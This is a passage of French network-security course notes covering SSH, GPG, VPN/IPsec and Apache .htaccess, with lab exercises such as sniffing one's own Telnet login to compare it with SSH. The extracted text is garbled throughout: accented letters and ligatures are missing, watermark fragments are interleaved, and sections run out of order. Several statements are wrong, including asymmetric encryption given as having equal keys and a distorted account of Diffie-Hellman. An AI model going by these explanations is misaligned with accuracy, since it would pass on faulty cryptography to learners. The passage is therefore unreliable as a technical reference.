rsh, sauf que la communication est chiffre. Dautres outils SSH, tels que scp et sftp, fonctionnent de faon semblable aux outils non scuriss rcp et ftp.

15.4 Couches de scurit SSH

Le protocole SSH permet tout programme client et serveur cr selon les spcications du protocole de communiquer de faon scurise et dtre utilis de manire interchangeable. A lheure actuelle, il existe deux types diffrents de protocole SSH. La version 1 contient de nombreux algorithmes de chiffrement brevets (toutefois, bon nombre de ces brevets sont prims) et un trou de scurit qui donne la possibilit ventuelle dinsrer des donnes dans le ot de donnes. Il vous est vivement recommand dutiliser des serveurs et clients compatibles avec la version 2 de SSH, si cela vous est possible. OpenSSH comprend le support pour la version 2 (et des cls de chiffrement DSA disponibles gratuitement). Conjugu aux bibliothques de chiffrement OpenSSL, OpenSSH offre une gamme complte de fonctions de scurit. Les deux versions (1 et 2) du protocole SSH utilisent des couches de scurit semblables pour renforcer lintgrit des communications sous diffrents aspects. Chaque couche fournit son propre type de protection, ce qui, lorsque utilis de concert avec dautres types, renforce la scurit des communications et les rend plus facile utiliser.
2 De

nombreuses congurations dauthentication et de gestion des cls sont possibles avec SSH

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 15. SSH[?]

53

15.4.1 Couche transport


Le rle principal dune couche transport est de faciliter une communication scurise entre deux ordinateurs htes au moment de lauthentication et par la suite galement. Elle utilise gnralement le protocole TCP/IP, et accomplit sa tche en soccupant du chiffrement et du dchiffrement des donnes, en sassurant que le serveur est le bon ordinateur pour lauthentication et en offrant la protection ncessaire aux paquets de donnes lors de leur envoi et de leur rception. En outre, la couche transport peut galement faire la compression des donnes pour acclrer la vitesse de transfert de linformation. Lorsquun client communique avec un serveur au moyen dun protocole SSH, de nombreux lments importants sont ngocis an que les deux systmes puissent crer correctement la couche transport : lchange des cls lalgorithme de cl publique utiliser lalgorithme de chiffrement symtrique utiliser lalgorithme dauthentication de message utiliser lalgorithme repre (hash) utiliser Durant lchange des cls, le serveur sidentie au client au moyen dune cl hte. Evidemment, si le client communique pour la premire fois avec ce serveur, la cl du serveur lui est inconnue. OpenSSH contourne ce problme en permettant au client daccepter la cl hte du serveur lors de leur premire connexion SSH. The authenticity of host localhost (127.0.0.1) cant be established. RSA key fingerprint is 67:cd:c7:c8:6e:d1:45:ad:d3:9a:73:5b:a5:fd:29:c7. Are you sure you want to continue connecting (yes/no)? Ensuite, lors des connexions suivantes, la cl hte du serveur peut tre vrie au moyen dune version enregistre sur le client, ce qui permet au client de sassurer quil communique bien avec le serveur dsir. Cette information nomm ngerprint nest pas trs vidente retrouver, en effet aucun chier ne contient cette empreinte numrique. En fait, il faut excuter la commande suivante pour obtenir cette signature numrique : lampion:/etc/ssh# ssh-keygen -l -f ssh_host_dsa_key Avertissement La mthode de vrication de la cl hte utilise par SSH nest pas parfaite car, ce stade, un individu pourrait se faire passer pour le serveur lors de la premire connexion sans que le systme local puisse ncessairement diffrencier le serveur dsir de lindividu voulant se faire passer pour lui. Toutefois, dici ce quune meilleure mthode de distribution de la cl hte soit disponible, cette mthode initiale non scurise est mieux que rien. Le protocole SSH est conu pour fonctionner avec la plupart des types dalgorithme de cl publique ou de format de codage. Aprs la cration de deux valeurs lors de lchange initial des cls (une valeur repre utilise pour les changes et une valeur secrte partage), les deux systmes commencent immdiatement calculer de nouveaux algorithmes et de nouvelles cls pour protger lauthentication et les donnes qui seront envoyes au cours de la connexion.

15.4.2 Authentication
Une fois que la couche transport a cr un tunnel scuris pour envoyer les informations entre les deux systmes, le serveur indique au client quelles sont les diffrentes mthodes dauthentication prises en charge, telles que lutilisation dune signature chiffre prive ou lentre dun mot de passe. Le client doit ensuite essayer de sauthentier au serveur au moyen dune des mthodes spcies. tant donn que les serveurs peuvent tre congurs de faon permettre diffrents types dauthentication, cette mthode donne aux deux parties un niveau de contrle optimal. Le serveur peut dcider quelles mthodes dauthentication prendre en charge en fonction de son modle de scurit et le client peut choisir

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 15. SSH[?]

54

lordre des mthodes dauthentication utiliser parmi celles qui sont disponibles. Grce la nature scurise de la couche transport SSH, mme les mthodes dauthentication qui, de prime abord, semblent non scurises, telles que lauthentication dordinateur hte, peuvent tre utilises en toute scurit. Pour raliser lauthentication travers une cl publique / prive, il faut ajouter la dnition de la cl publique dans le chier .ssh/autorized_keys du compte sur lequel vous dsirez vous conneter : lampion:/home/eric# cat /home/s3/.ssh/id\_dsa.pub >> .ssh/authorized\_keys

15.4.3 Connexion

15.5 Protocole de connexion

15.5.1 Initialisation de la connexion

Lors dune demande de connexion, le dmon SSH ralise un fork et permet la connexion travers son processus ls. Avant de permettre lauthentication entre les 2 points terminaux, il effectue un change dauthentication.

15.5.2 change didentication


Dans un premier temps, le serveur envoie une chane formatte au client en texte brut, spciant les versions de protocole support et la version du serveur. Cette chane peut tre du type SSH-1.99-OpenSSH_2.3.0, o 1 indique le numro de version majeur du protocole, 99 indique le numro de version mineur et OpenSSH_2.3.0 est la version logicielle du serveur. Si le client ne supporte pas le protocole reu, il ferme la connection. Si le protocole est support par le client, il rpond avec une chane formatte de la mme faon que prcdemment. Le serveur teste alors la
3 Une connexion multiplex envoie plusieurs signaux sur un support commun et partag. Avec le protocole SSH, divers canaux sont envoys sur une connexion scurise commune.

oc um en ts

Les canaux sont particulirement utiles avec la retransmission X11 et la retransmission de port TCP/IP par SSH. Des canaux spars peuvent tre congurs diffremment, pour utiliser une quantit maximum de paquets diffrente ou pour transfrer un type spcique de donnes. Cela permet SSH de faire preuve de souplesse lors de lacheminement des donnes sur divers types de connexion distance, tels que les liaisons sur des rseaux publics ou les connexions rapides sur des rseaux locaux dentreprise, sans avoir changer linfrastructure de base du protocole. Le client et le serveur ngocient automatiquement la conguration de chaque canal lintrieur de la connexion pour lutilisateur.

ou sl

Les canaux prennent aussi en charge le contrle du ot de donnes, ce qui leur permet denvoyer et de recevoir des donnes de faon ordonne. Ce faisant, aucune donne nest envoye par le canal tant que lhte na pas reu un message lui indiquant que le canal est en mesure den recevoir.

ic

en ce

Le client et le serveur peuvent tous deux crer un nouveau canal et chaque canal reoit un numro diffrent aux deux extrmits (serveur ou client). Lorsque lune delle essaie douvrir un nouveau canal, le numro de cette extrmit pour ce canal est envoy avec la requte. Cette information est stocke lautre extrmit et utilise pour diriger un type spcique de communication dun service ce canal. Ainsi, des types diffrents de session ne peuvent se nuire entre eux et les canaux peuvent tre ferms sans interrompre la connexion SSH principale entre les deux systmes.

FD

Aprs avoir effectu avec succs lauthentication au moyen de la couche transport SSH, des canaux multiples sont ouverts en transformant la connexion simple entre les deux systmes en connexion multiplex3.

CHAPITRE 15. SSH[?]

55

rponse du client. Si les versions ne concordent pas ou si la version cliente est invalide, le serveur cloture la connexion. Si les versions concordent, lchange de cl peut se faire.

15.6 Lchange de clefs


Le serveur va envoyer deux de ces cls publiques. En premier lieu, le serveur ira chercher 64 bits dun PRNG4 qui sera utilis comme un cookie pour prvenir des attaques IP Spoong et des predictions du numro de squence TCP. Ceci affecte uniquement les connexion de type rhost. Le client va envoyer en retour ce cookie lorsque la cl de session est envoye. Ceci est valable uniquement contre un IPSpoong, toute machine du rseau local peut voir les paquets sortir et rcuprer le cookie gnr alatoirement. Le serveur construit alors un paquet de type SSH_SMSG_PUBLIC_KEY, concatnant le cookie, la taille des n lments de la cl RSA du serveur, lexposant publique e de la cl RSA du serveur et le modulo n de le cl RSA hte (la cl publique RSA), les ags du protocole SSH, les codages symtriques supports, et les mthodes dauthentication supports. Une fois le paquet SSH_SMSG_PUBLIC_KEY reu par le client, il calcule un ID de session de la mme faon que le serveur : LID de session est gal la signature MD5 de la concatnation du modulo de la cl hte du serveur, le modulo de la cl du serveur et le cookie gnr par le serveur. session_id=MD5(HostKey_RSAModulus | ServerKey_RSAModulus | Cookie) La longueur de la chaine dun session_id est le mme que la longueur du rsultat du MD5 : 128 bits. Le client gnre une cl de session de 256 bits allant chercher les data du PRNG. Cette cl sera utilise dans un algorythme symtrique dans le futur change de la session SSH. Avant que la cl soit encrypt et envoy, les 128 premiers bits de la cl, sont XOR avec le session_id. Le client alors utilise lalgorithme RSA pour encrypter conscutivement la cl de session XOR et lid_session avec la cl du serveur et lhte cl. Lencryptage est ralis grce la plus petite cl. Finalement le client cre le paquet et retrouve lalgorythme symtrique utiliser, le cookie reu, la cl de session crypt et les ags du protocole SSH et lenvoie au serveur. Le serveur reoit ce paquet et retrouve lalgorythme symtrique choisi par le client. Il retrouve la cl encrypt, les ags de SSH et dcrypte la cl de session.

15.7 Conclusion
SSH permet deffectuer une maintenance des serveurs via Internet sans avoir de craintes au niveau scuritaire des accs. Lune des applications plus ou moins directe du protocole SSH est le VPN que nous allons dtailler maintenant.

15.8 Travaux Pratiques


15.8.1 Putty
Installer le logiciel Putty sur votre machine.
4 Pseudo

Number Random Generator

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 15. SSH[?]

56

15.8.2 Telnet
Connectez vous en Telnet sur la machine indique par linstructeur. telnet lampion lampion login : squirrel Password : texavery ... exit eric@lampion:~/secu/reseau$ telnet lampion Trying 127.0.0.1... Connected to lampion. Escape character is ^]. Debian GNU/Linux 3.0 lampion lampion login: squirrel Password: Last login: Tue Nov 26 11:02:47 2002 from lampion on pts/2 Linux lampion 2.2.19pre17 #14 SMP Wed Aug 21 13:38:36 CEST 2002 i686 unknown Most of the programs included with the Debian GNU/Linux system are freely redistributable; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. squirrel@lampion:~$ exit logout Connection closed by foreign host.

15.8.3 SSH
Connectez vous en SSH sur la machine indique par linstructeur.

oc um en ts

TAB . 15.1 Exemple de session Telnet

F IG . 15.1 Trame dune connexion Telnet : 1 caractre du mot de passe

ou sl

ic

en ce

FD

CHAPITRE 15. SSH[?]


ssh squirrel@lampion lampion login : squirrel Password : texavery ... exit

57

eric@lampion:~/secu/reseau$ ssh squirrel@lampion squirrel@lampions password: Linux lampion 2.2.19pre17 #14 SMP Wed Aug 21 13:38:36 CEST 2002 i686 unknown Most of the programs included with the Debian GNU/Linux system are freely redistributable; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Nov 26 11:25:52 2002 from lampion squirrel@lampion:~$ exit logout Connection to lampion closed. eric@lampion:~/secu/reseau$

TAB . 15.2 Exemple de session SSH

Comparez les rsultats obtenus avec le sniffer. Essayez de retrouver votre mot de passe de la session telnet dans les trames sniffes. Recherchez les diffrentes phases du protocole SSH

15.9 Scp

scp est un programme utilisant le protocole SSH qui permet de copier des chiers dun serveur sur une autre machine possdant un client scp. Sous Windows, il existe le logiciel WinSCP. Sous Linux, il vous faudra utiliser la commande scp de la faon suivante : Copie vers le serveur SSH : scp <fichiers> user@IPServeur :PathServeur Exemple : scp * root@192.168.2.10 :. Copie depuis le serveur SSH : scp user@IPServeur :<fichiers> Path Exemple : scp root@192.168.2.10 :* .

oc um en ts

15.8.4 Exercices

ou sl

ic

en ce

FD

Chapitre 16

16.1 Principes gnraux


16.1.1 Signature digitale

Elle assure lidentit de lmetteur et lintgrit du message. Le schma de signature digitale est le suivant : algorithme de la signature + algorithme de vrication. Principe : utilisation dune cl prive pour la signature et dune cl publique pour la vrication. Rgle : un tiers peut dterminer la validit dune signature sans connatre la cl prive du signataire. Fonctionnement : le signataire crypte sa signature laide de sa cl prive. Celle-ci est alors dchiffre laide de la cl publique par le destinataire. Les algorithmes standards utiliss pour raliser ce cryptage de signature sont : DSA (Digital Signature Algorithm) : utilisation de la fonction de hashage SHA. Signature RSA : utilise le chiffrement cl publique RSA.

16.1.2 Chiffrement

Il existe 2 types de chiffrement : chiffrement symtrique : cl de chiffrement = cl de dchiffrement (cl secrte) chiffrement asymtrique : cl de chiffrement = cl de dchiffrement respectivement cl publique, cl prive Pour envoyer un message chiffr un destinataire, lexpditeur va utiliser la cl publique du destinataire an de chiffrer le message envoyer. Celui-ci pourra alors tre dchiffre par le destinataire grce sa cl prive. Un problme subsiste tout de mme pour le transfert de la cl publique. Il faut donc faire alors appel aux certicats. Ces certicats sont donns par une entreprise prive qui conrmereront lidentit dune personne.

16.2 Utilisation des cls publiques et prives : GPG


GPG est la version libre de PGP (Pretty Good Privacy), il permet de crypter et de signer des documents, en particulier des mails.

16.2.1 Installation
Tlcharger le logiciel gnupg pour Windows ainsi que sa somme de contrle. 58

oc um en ts

ou sl

ic

en ce

FD

Gnu Privacy Guard

CHAPITRE 16. GNU PRIVACY GUARD

59

F IG . 16.1 Encryptage dun message avec signature lectronique Vrier lintgralit du logiciel ainsi tlcharger. Installer le logiciel dans le rpertoire c :\gnupg Modier votre PATH pour ajouter c :\gnupg1

16.2.2 Utilisation en solitaire

Crer votre propre jeu de cl : gpg gen-key Exporter votre cl publique : gpg armor output public.txt export VOTRE NOM Exporter votre cl prive (pour la mettre en lieu sr) : gpg armor output private.txt export-secret-keys VOTRE NOM

Dcrypter le chier : gpg decrypt-files fichier crypt2 Signer un chier : gpg local-user VOTRE NOM clearsign message.txt. Le chier sign sera message.txt.asc. Vrier la signature : gpg verify message.txt.asc
1 Sous XP/2000/NT : System Properties > Advanced Tab > Environment Variables > System Variables Sous 9x : autoexec.bat 2 Le chier crypt DOIT avoir pour extension .gpg (renommer le au besoin)

Encrypter un chier de votre choix : gpg recipient LE NOM DE LA CLE PUBLIQUE A UTILISER output fichier crypt encrypt fichiercrypter.gpg .

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 16. GNU PRIVACY GUARD

60

16.2.3 Explication des diffrentes options


-a -o -r -e -u armor output export recipient NOM encrypt decrypt-les [ch.] local-user clearsign [chier] crer une sortie ascii avec armure utiliser comme chier de sortie exporter les cls chiffrer pour NOM chiffrer les donnes dchiffrer les chiers utiliser ce nom pour signer ou dchiffrer faire une signature en texte clair

16.2.5 Rponse des Travaux Pratiques en Binme


Encrypter un chier avec la cl publique de votre voisin, donner lui le chier pour quil le dcrypte. Utilisateur : gpg recipient clepubliqueduvoisin -output texte.gpg -encrypt texte.txt > texte.gpg contient maintenenant le chier crypt. Voisin : gpg decrypt texte.gpg Signer un chier avec votre signature et demander votre voisin de contrler celle-ci. Utilisateur : gpg local-user clepriveutiliser clearsign message.txt > un chier message.txt.asc contient maintenant la signature en plus du texte. Voisin : gpg verify .asc

16.2.6 Complment dinformation


Serveur de cls Nous voyons trs bien quil serait plus agrable de centraliser les cls publiques sur un serveur. Cest ce que font les serveurs suivants : wwwkeys.pgp.net www.keyserver.net pgp.mit.edu Certicat de rvocation Vous pouvez dposer votre cl sur lun des serveurs mais avant toute autre chose il faut prvoir le fait de pouvoir invalider votre cl laide dun certicat de rvocation :

oc um en ts

ou sl

Aide Loption -v permet davoir des informations complmentaires lors de lxcution dune commande gpg Les commandes gpg list-keys, gpg list-public-keys et gpg list-secret-keys permettent de voir les cls de votre trousseau.

ic

en ce

Importer la cl publique de votre voisin : gpg -v import monvoisin.txt Valider son identit : gpg edit-key monvoisin, entrez la commande trust puis slectionner le choix 5 pour indiquer que vous lui fates une conance aveugle. Entrez la commande quit pour arrter. Encrypter un chier avec la cl publique de votre voisin, donner lui le chier pour quil le dcrypte. Signer un chier avec votre signature et demander votre voisin de contrler celle-ci.

FD

16.2.4 Utilisation en binme

CHAPITRE 16. GNU PRIVACY GUARD

61

gpg gen-revoke output certificat.asc key_id o key_id reprsente lidentiant de la cl pour laquelle vous dsirez crer le certicat de rvocation. Une fois votre certicat de rvocation cr, vous pouvez sans souci dposer votre cl sur le serveur de votre choix : gpg keyserver nomduserver send-keys key_id Suppression dune cl du trousseau Il peut arriver de faire des erreurs ou bien que le temps passe et que certaines cls ne soient plus valides, il faut donc les supprimer du trousseau. Pour se faire, le mieux est de lister les cls pour pouvoir visualiser les UIDs : gpg list-keys ce qui donne : [stage@rh3 stage]$ gpg --list-keys gpg: Avertissement: lutilisation de la m c moire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations /home/stage/.gnupg/pubring.gpg -----------------------------pub 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> sub 1024g/08797651 2004-09-29 [expire: 2004-09-30] Puis utiliser les commandes : gpg delete-secret-key UID : pour supprimer une cl prive gpg delete-key UID : pour supprimer une cl publique Ce qui nous donne : [stage@rh3 stage]$ gpg --delete-secret-key 08797651 gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. gpg: Avertissement: lutilisation de la mmoire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations sec 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> Enlever cette cl du porte-cls ? o [stage@rh3 stage]$ gpg --delete-key 8C30403C gpg (GnuPG) 1.0.7; Copyright (C) 2002 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. gpg: Avertissement: lutilisation de la mmoire nest pas sre ! gpg: voir http://www.gnupg.org/fr/faq.html pour plus dinformations pub 1024D/8C30403C 2004-09-29 Superman (Clark Kent) <superman@krypton.fr> Enlever cette cl du porte-cls ? o Attention : Il est ncessaire de supprimer la cl prive avant la cl publique.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 17

17.1 Introduction
17.1.1 Quest-ce quun VPN ?

17.1.2 Pourquoi utiliser un VPN ?

La principale raison pour implmenter un VPN est lconomie suppose par rapport tout autre type de connexion. Bien que les VPN ncessitent lacquisition de produits matriels et logiciels supplmentaires, le cot terme de ce genre de communication est moindre. Lentreprise ne paye que laccs lInternet via son ISP (tarif local) et non une communication nationale dans le cas dune liaison RNIS ou un forfait dans le cas dune Liaison Spcialise. La technologie VPN procure de mme la scurit lors des connexions dutilisateurs distants au rseau interne de lentreprise.

17.2 Fonctionnement des VPN


17.2.1 Linterconnexion
Une connexion VPN met en jeu les composants suivants :

oc um en ts

Un VPN (Virtual Private Network) est une liaison scurise entre 2 parties via un rseau public, en gnral Internet. Cette technique assure lauthentication des 2 parties, lintgrit des donnes et le chiffrage de celles-ci. Les 3 grands cas dutilisation de VPN sont les suivants : Raccordement de tltravailleurs ou travailleurs mobiles. Ceux-ci se raccordent aux ressources de lentreprise par modem, RNIS ou xDSL Interconnexion de succursales. Des sites distants dune mme entreprise partagent les mme ressources sans avoir recours des lignes spcialises (LS). Exploitation de rseaux extranets. Ce segment trouve sa justication dans lessor probable du commerce lectronique. La gure ci-dessous illustre le principe des VPN

ou sl
62

ic

en ce

FD

Les Rseaux Privs Virtuels (RPV ou VPN)[13]

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]

63

oc um en ts

F IG . 17.1 Principe dun VPN

ou sl

ic

en ce

FD

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]


Serveur VPN

64

Un ordinateur qui accepte des connexions VPN de clients VPN. Un serveur VPN peut fournir une connexion VPN accs distant ou une connexion VPN routeur routeur. Client VPN Un ordinateur qui initie une connexion VPN vers un serveur VPN. Un client VPN peut tre un ordinateur individuel qui obtient une connexion VPN accs distant ou un routeur qui obtient une connexion VPN routeur routeur. Tunnel La portion de connexion dans laquelle les donnes sont encapsules. La connexion VPN

1. la gestion et lchange des cls entre 2 passerelles VPN (IKE : Internet Key Exchange) 2. le chiffrement des paquets IP (ESP : Encapsulating Security Payload) 3. lauthentication (AH : Authentication Header) De plus lutilisation de ce protocole ouvert assure, en thorie, linteroprabilit dquipements htrognes. La gure suivante schmatise une connexion VPN entre 2 sites dune socit :

oc um en ts

Les premiers standards utiliss furent propritaires limage de L2F (Layer 2 Forwarding) de Cisco et Shiva (Intel), PPTP (Point to Point Tunneling Protocol) de Microsoft et 3Com et L2TP (Layer 2 Tunneling Protocol), fusion des 2 prcdents. Cependant, le standard actuel de niveau 3 est IPsec promulgu par IETF (Internet Engineering Task Force). Ses composantes assurent :

F IG . 17.2 Connexion VPN entre 2 sites dune socit

ou sl

Protocoles

ic

La portion de connexion dans laquelle les donnes sont chiffres. Pour des connexions VPN scurises, les donnes sont chiffres et encapsules dans la mme portion de la connexion. Note : Il est possible de crer un tunnel et denvoyer les donnes dans le tunnel sans chiffrage. Ce nest pas une connexion VPN car les donnes prives sont envoyes au travers dun rseau partag ou public sous une forme non chiffre et facilement lisible.

en ce

FD

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]

65

17.2.2 Les concepts de base


Tunnelisation Chiffrement Authentication

17.2.3 La tunnelisation
Cest la mthode utilise pour faire transiter des informations prives sur un rseau public. Les tunnels scuriss garantissent la condentialit et lintgrit des donnes ainsi que lauthenticit des 2 parties. Dans cette mthode dite dencapsulation, chaque paquet est compltement chiffr et plac lintrieur dun nouveau paquet. Les standards de la couche 2 sont PPTP (Point to Point Tranfert Protocol) et L2F (Layer 2 Forwarding) qui ont converg vers un protocole unique, L2TP (Layer 2 Transfert Protocol). Le protocole de niveau 3 est standardis : il sagit de la norme prescrite par lIETF pour IP V6 et compatibles IP V4, IPsec. Il existe 2 modes de transport distincts : Mode Transport : il protge le contenu dune trame IP en ignorant len-tte.

Mode Tunnel : plus performant, il cre des tunnels en encapsulant chaque trame dans une enveloppe qui protge tous les champs de la trame. Utilisation : Il est utilis entre 2 quipements dont au moins un nest pas un quipement terminal. Les donnes peuvent tre chiffres (mode ESP) ou pas ( mode AH). Idal pour relier 2 rseaux distants.

17.2.4 Les 3 principaux composants dIPsec 17.2.5 AH (Authentication Header)

: ce module garantit lauthenticit des trames IP en y ajoutant un champ chiffr destin vrier lauthenticit des donnes renfermes dans le datagramme. AH - Mode Transport

AH - Mode Tunnel

17.2.6 ESP (Encapsulating Security Header)


: ce procd assure la condentialit et lauthenticit des informations en gnrant des donnes chiffres sur une nouvelle trame, partir de la trame dorigine.

oc um en ts

F IG . 17.3 AH - Mode Transport

ou sl

ic

Utilisation : Ce mode de transport est gnralement utilis entre les points terminaux dune connexion, idal pour une connexion nomade sur un rseau.

en ce

FD

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]

66

F IG . 17.4 AH - Mode Tunnel

F IG . 17.5 ESP (Encapsulating Security Header) Les avantages de la tunnelisation sont multiples. Elle permet de cacher la topologie du rseau, de router des rseaux non-routables au travers dinternet et de faire cohabiter des solutions VPN et pare-feu au niveau de la couche applicative.

17.2.7 IKE (Internet Key Exchange)

: Protocole destin permettre le partage dune cl de chiffrage entre metteur et destinataire, dans le cadre du protocole IPsec. (cf section 17.2.9 page : 67)

17.2.8 Le chiffrement
Le chiffrement recommand par lIETF est bas sur le standard US, le DES. Celui-ci prsente 3 variantes, se distinguant les unes des autres par le nombre de bits utiliss : 56-bit DES : simple, craqu en quelques minutes 112-bit DES (double DES) : craqu par une attaque en ligne concern, sans complexit supplmentaire que le 56-bit 168-bit DES (triple DES) : bas sur 3 cls indpendantes mais pas aussi difcile craquer quun systme cl de longueur triple. Aucun chiffrement cependant nest sr 100%. Le Gouvernement a dcid de relever le seuil de chiffrage dont lutilisation est libre, de 40 bits 128 bits. Le protocole DES, quelquen soit le type, est symtrique, cest--dire que la mme cl de session (ou la mme suite de 3 cls dans le cas triple DES) est utilise par les 2 entits communicantes. Cette cl est

oc um en ts

ou sl

ic

en ce

FD

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]


change de manire alatoire au bout dun certain temps qui correspond la dure de vie de cette cl.

67

Cependant, le problme rside dans lchange de la valeur de la cl entre les 2 entits. On le rsout grce au protocole de Dife-Hellman. Celui-ci permet la ngociation dune cl unique, de manire commune. Chaque entit dtermine une moiti de la cl et envoie les paramtres permettant de calculer la moiti manquante lautre entit. Ce protocole tant asymtrique, il se base sur une paire de cls, une prive et une publique . Protocole de Dife Hellman On imagine 2 entits (A et B) et leur jeu de cls prive et publique. A calcule la moiti de la future cl commune et fournit B les paramtres permettant de calculer cette moiti. Il utilise la cl publique de B pour chiffrer ces paramtres et les envoie B. Ce dernier dchiffre le paquet reu grce sa cl prive et calcule la moiti de cl qui lui manque. Il fait une opration similaire de manire fournir A sa moiti de cl. Ainsi, les 2 entits disposent dune cl commune de session.

La faiblesse de ce type dchange rside dans la validit de la cl publique. Il sagit de contrler lorigine de lentit qui envoie la cl publique, il faut lauthentier.

17.2.9 Lauthentication

Les certicats digitaux

Un certicat est constitu dune clef publique et dun certain nombre de champs didentication, le tout sign par un tiers certicateur. En plus, un certicat contient des informations de gestion (numro de srie, une date dexpiration, etc.). Ils se basent sur les recommandations X509 et permettent de faon sre dauthentier une personne, la manire dun passeport. On fournit une autorit de certication les informations et celle-ci retourne un certicat digital. Ces certicats sont composs de 2 parties : les informations concernant lentit (nom, cl publique, adresse physique...) et un rsum chiffr de ces informations. Le rsum de ces informations est effectu par un algorithme de hachage tel MD5 ou SHA-1 qui retourne un numro unique, numro qui est ensuite chiffr. Lorsquun certicat est transmis une entit qui veut vrier lauthenticit dune autre, elle procde en 4 tapes : elle spare les informations de lentit et le rsum chiffr, elle dchiffre le rsum chiffr, elle recalcule un rsum en utilisant le mme algorithme (MD5...) elle compare le rsum calcul par ses soins et le rsum dchiffr : si les rsultats correspondent, lauthenticit est prouve.

oc um en ts

Elle est obtenue en fournissant la preuve de son identit auprs de son interlocuteur. Il existe plusieurs technologies dont voici les 3 principales :

ou sl

Il est important de noter quun chiffrement bas sur une solution matrielle (Asic ddi) se rvle beaucoup plus rapide que son quivalente logicielle.

ic

en ce

FD

CHAPITRE 17. LES RSEAUX PRIVS VIRTUELS (RPV OU VPN)[?]


La gure suivante illustre ces propos :

68

Phrase challenge

Radius

Ce systme utilise un serveur dauthentication RADIUS1 . Lors dune demande de connexion dun client sur un quipement VPN, ce dernier demande le mot de passe et lidentiant RADIUS du client. Ensuite, lquipement VPN utilise sa cl secrte pour vrier lauthentication auprs du serveur RADIUS.

17.3 Conclusion

De cette succincte tude, on peut dgager quelques critres de slection concernant les solutions VPN tudier : longueur des cls utilises au chiffrement algorithmes de chiffrement algorithmes de hachage chiffrement matriel/logiciel nombre de connexions simultanes type dauthentication (si certicats, interne ou externe) volutivit du matriel...

1 Remote

Authentication Dial User Service

oc um en ts

ou sl

Le processus est similaire celui utilis dans le cas des certicats digitaux. La diffrence rside en labsence dautorit de certication ; les entits doivent elles mme gnrer leurs certicats digitaux. La signature est alors chiffre par une phrase challenge commune aux 2 entits. Il faut donc que celle-ci soit entre dans tous les quipements dsirant communiquer.

ic

en ce

Lautorit de certication peut tre de 2 types. Elle peut tre propritaire et fournie par le constructeur ou bien elle peut tre externe. Cest alors une socit tiers qui lon dlgue la gestion de sa PKI (Public Key Infrastructure). Les socits les plus connues sont actuellement Entrust, Verisign...

FD

F IG . 17.6 Authentication par certicat

Chapitre 18

Ce chapitre parle de la protection du service Web et notamment celui de Apache.

18.1 Introduction

18.2 Comment congurer Apache pour lhtaccess ?

Nous allons ajouter des directives pour le dossier que nous souhaitons protger comme suit : <Directory /var/www/> AllowOverride AuthConfig </Directory> Ici je souhaite que le dossier /var/www/ accepte la directive AllowOverride AuthCong. Cela implique que tous ces sous-dossiers vont galement accepter cette directive. Que signie AllowOverride AuthCong ? Tout simplement quApache daignera lire votre chier .htaccess si il se trouve dans le rpertoire en question (ou un de ses sous-rpertoires)

oc um en ts

Le chier de conguration classique dApache est httpd.conf. Sur certaines installation il existe galement un chier commonhttpd.conf. Les deux se trouvent en gnral dans /etc/httpd ou /etc/httpd/conf. Le chier qui doit tre modi contient gnralement dj des directives pour des rpertoires particuliers. Ca ressemble a : <Directory /var/www/icons> Options -Indexes MultiViews AllowOverride None Order allow,deny Allow from all </Directory>

ou sl
69

ic

Il existe beaucoup de mthodes pour scuriser une partie dun site Web tournant sur Apache. Je vous propose la mthode de lhtaccess parce-quelle est trs souple (on peut ajouter des utilisateurs la vole sans relancer le serveur apache) mais ce nest pas forcement la meilleure, cest simplement un choix.

en ce

FD

Protection dun service Web[4]

CHAPITRE 18. PROTECTION DUN SERVICE WEB[?]

70

18.3 La procdure de cration du chier .htaccess


a se fait trs simplement avec vi par exemple, et vous le placez dans le rpertoire que vous souhaitez protger. Voici ce que vous mettez dedans : AuthUserFile /var/www/.htpasswd AuthName "Accs protg" AuthType Basic <Limit GET POST> Require valid-user </Limit>

18.4 La procdure de cration du chier .htpasswd

login:password login2:password2 etc. etc.

Ces mots de passe doivent tre crypts. Vous obtenez le mot de passe crypt au moyen de la commande htpasswd. Par exemple je souhaite que lutilisateur toto accde ma page Web avec le mot de passe supertoto, je tape la commande : htpasswd -c /var/www/.htpasswd toto [root@Ernest stephane]# htpasswd -c /var/www/.htpasswd toto New password: Re-type new password: Adding password for user toto

Bien sr dans cet exemple on ne voit pas les mots de passe car bash les cachent mais jai bien tap supertoto deux fois de suite. Il y a maintenant un chier .htpasswd dans /var/www avec le user toto et son mot de passe crypt. [root@Ernest stephane]# htpasswd /var/www/.htpasswd titi New password: Re-type new password: Adding password for user titi Imaginons maintenant que je dsire quun utilisateur supplmentaire titi accde a ma page. Voici la commande pour ajouter un utilisateur a un chier .htpasswd existant :

oc um en ts

ou sl

ic

Il faut placer ce chier l o vous avez indiqu .htaccess de le chercher. Vous le crez tout simplement avec un diteur de texte. Il contient une ligne par utilisateur autoris qui se dcompose comme suit :

en ce

FD

